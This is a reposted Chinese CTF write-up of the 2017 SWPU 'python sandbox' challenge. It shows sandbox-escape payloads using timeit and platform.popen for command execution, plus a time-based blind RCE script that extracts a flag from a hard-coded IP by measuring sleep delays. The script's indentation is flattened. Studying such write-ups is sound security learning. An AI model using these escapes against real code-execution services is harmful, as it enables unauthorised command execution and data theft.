2017swpu python sandbox (300pt)

Posted lin先森

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2017swpu python sandbox (300pt)相关的知识,希望对你有一定的参考价值。

又是师傅们写的,水一篇  不过咱确实也认真研究透了

原文链接 师傅的博客  http://pav1.cc/ctf/wp/swpu2017wp.html#python-sandbox

出题思路:这其实是一个我想做的python在线代码编辑练习的站点,因为要考虑其安全性,所以我把文件读写,网络请求和一些危险模块ban掉了,这样就形成了一个沙盒,也就出现了这道题目。
从师傅们的payload可以看到大多是这几种:


__builtin__
[].__class__.__base__.__subclasses__()魔术方法;
一些危险模块等

tips是:内置模块,内置函数,而python的内置模块百度下或者去官方还是很容易获得一个列表的,除去我ban掉的如os,sys等危险的模块,还有很多可以尝试的啊 .
我这里给出的利用是来自一个常见的内置模块:timeit.我相信很多初学python的人都会用到timeit模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行

timeit
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('')", number=1)


platform
import platform
print platform.popen('dir', mode='r', bufsize=-1).read()


#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('')", number=1)

还有一个模块platform,同样也可以的


import platform
platform.popen('id', mode='r', bufsize=-1).read()

在timeit模块里利用__import__内置函数加载os模块,然后就可以任意命令执行了,但是cat flag是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye等外带通道获取命令执行的结果。
于是这里就有了我以前碰到的一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce
最后写个类似盲注的脚本跑跑就出来了:
这个脚本写的不错 学习一下


#coding:utf-8
#author:icematcha
import requests
import sys
import base64
payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="
def request(url, data, timeout):
try:
res = requests.post(url, data = data, timeout = timeout)
return res.content
except:
return True
def get_length(url, cmd, timeout):
length = ''
for i in xrange(1,10):
value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = ];then sleep 2;fi')", number=1)
'''
% (cmd, i)
data = {'process': value}
res = request(url, data, timeout)
if res:
llength = i
break
for i in xrange(1, llength):
for _ in xrange(1, 10):
value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1)
'''
% (cmd, i, _)
data = {'process': value}
if request(url, data, timeout):
length += str(_)
print length
break
return length
def get_content(url, cmd, timeout, length):
content = ''
for i in xrange(1, int(length)+1):
for payload in payloads:
value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1)
'''
% (cmd, i, payload)
data = {'process': value}
if request(url, data, timeout):
content += payload
print content
break
return content
if __name__ == '__main__':
length = get_length('http://47.95.252.234/runcode','cat flag', 2.0)
print "## The base32 of content's length is:%s" % length
content = get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length)
print "## The base32 of content is:%s" % content
print "## The commend result content is:%s" % base64.b32decode(content).strip()

这里学习一下Linux中的wc cut等等命令


以上是关于2017swpu python sandbox (300pt)的主要内容,如果未能解决你的问题,请参考以下文章

SWPU电子邮件页面

BUUCTF: [SWPU2019]Web1

BUUCTF: [SWPU2019]Web1

BUUCTF: [SWPU2019]Web1

挖石油创业(ETOB in Swpu)

SWPU新闻后台登录页面